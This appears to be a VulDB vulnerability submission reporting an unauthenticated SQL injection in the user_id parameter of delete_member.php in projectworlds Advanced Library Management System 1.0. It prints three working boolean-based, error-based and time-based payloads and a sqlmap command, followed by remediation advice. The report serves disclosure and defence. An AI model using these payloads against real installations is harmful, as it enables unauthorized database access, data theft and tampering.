Súbít #700948: projectworlds Advanced Library Management System 1.0 delete_member.php SQL injectionbayani

Kuraprojectworlds Advanced Library Management System 1.0 delete_member.php SQL injection
Gaskiya# Advanced Library Management System V1.0 delete_member.php SQL injection # NAME OF AFFECTED PRODUCT(S) - Advanced Library Management System ## Vendor Homepage - [Advanced Library Management System Project in PHP with Barcode | Projectworlds](https://projectworlds.com/advanced-library-management-system-project-in-php-with-barcode/) # AFFECTED AND/OR FIXED VERSION(S) ## submitter - yudeshui ## VERSION(S) - V1.0 ## Software Link - [Advanced Library Management System Project in PHP with Barcode | Projectworlds](https://projectworlds.com/advanced-library-management-system-project-in-php-with-barcode/) # PROBLEM TYPE ## Vulnerability Type - SQL injection ## Root Cause - A SQL injection vulnerability was found in the 'delete_member.php' file of the 'Advanced Library Management System' project. The reason for this issue is that attackers inject malicious code from the parameter "user_id" and use it directly in SQL queries without the need for appropriate cleaning or validation. This allows attackers to forge input values, thereby manipulating SQL queries and performing unauthorized operations. ## Impact - Attackers can exploit this SQL injection vulnerability to achieve unauthorized database access, sensitive data leakage, data tampering, comprehensive system control, and even service interruption, posing a serious threat to system security and business continuity. # DESCRIPTION - During the security review of "Advanced Library Management System", discovered a critical SQL injection vulnerability in the "delete_member.php" file. This vulnerability stems from insufficient user input validation of the 'user_id' parameter, allowing attackers to inject malicious SQL queries. Therefore, attackers can gain unauthorized access to databases, modify or delete data, and access sensitive information. Immediate remedial measures are needed to ensure system security and protect data integrity. # No login or authorization is required to exploit this vulnerability # Vulnerability details and POC ## Vulnerability type: - time-based blind - boolean-based blind - error-based ## Vulnerability location: - 'user_id' parameter ## Payload: ``` Parameter: user_id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: user_id=1' AND 3604=3604-- jCnE Type: error-based Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) Payload: user_id=1' AND GTID_SUBSET(CONCAT(0x71766a7671,(SELECT (ELT(2641=2641,1))),0x71717a7671),2641)-- vFNa Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: user_id=1' AND (SELECT 3010 FROM (SELECT(SLEEP(5)))zlBh)-- oxow ``` <img width="1175" height="402" alt="Image" src="https://github.com/user-attachments/assets/2910bd6f-0ba8-4a2b-a9c5-45b0cd4461fa" /> ## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool: ``` sqlmap -u "http://localhost:802/delete_member.php?user_id=1" \ --level=5 --risk=3 \ --batch ``` # Suggested repair 1. **Use prepared statements and parameter binding:** Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code. 2. **Input validation and filtering:** Strictly validate and filter user input data to ensure it conforms to the expected format. 3. **Minimize database user permissions:** Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations. 4. **Regular security audits:** Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.
Manga⚠️ https://github.com/rassec2/dbcve/issues/9
Màdùmga
 yudeshui (UID 91129)
Furta11/25/2025 06:08 (3 Wurɗi 전)
Gargajiya12/07/2025 09:12 (12 days later)
HalittaShingilam
VulDB gite334653 [projectworlds Advanced Library Management System 1.0 /delete_member.php user_id SQL Injection]
Nganji20

Do you know our Splunk app?

Download it now for free!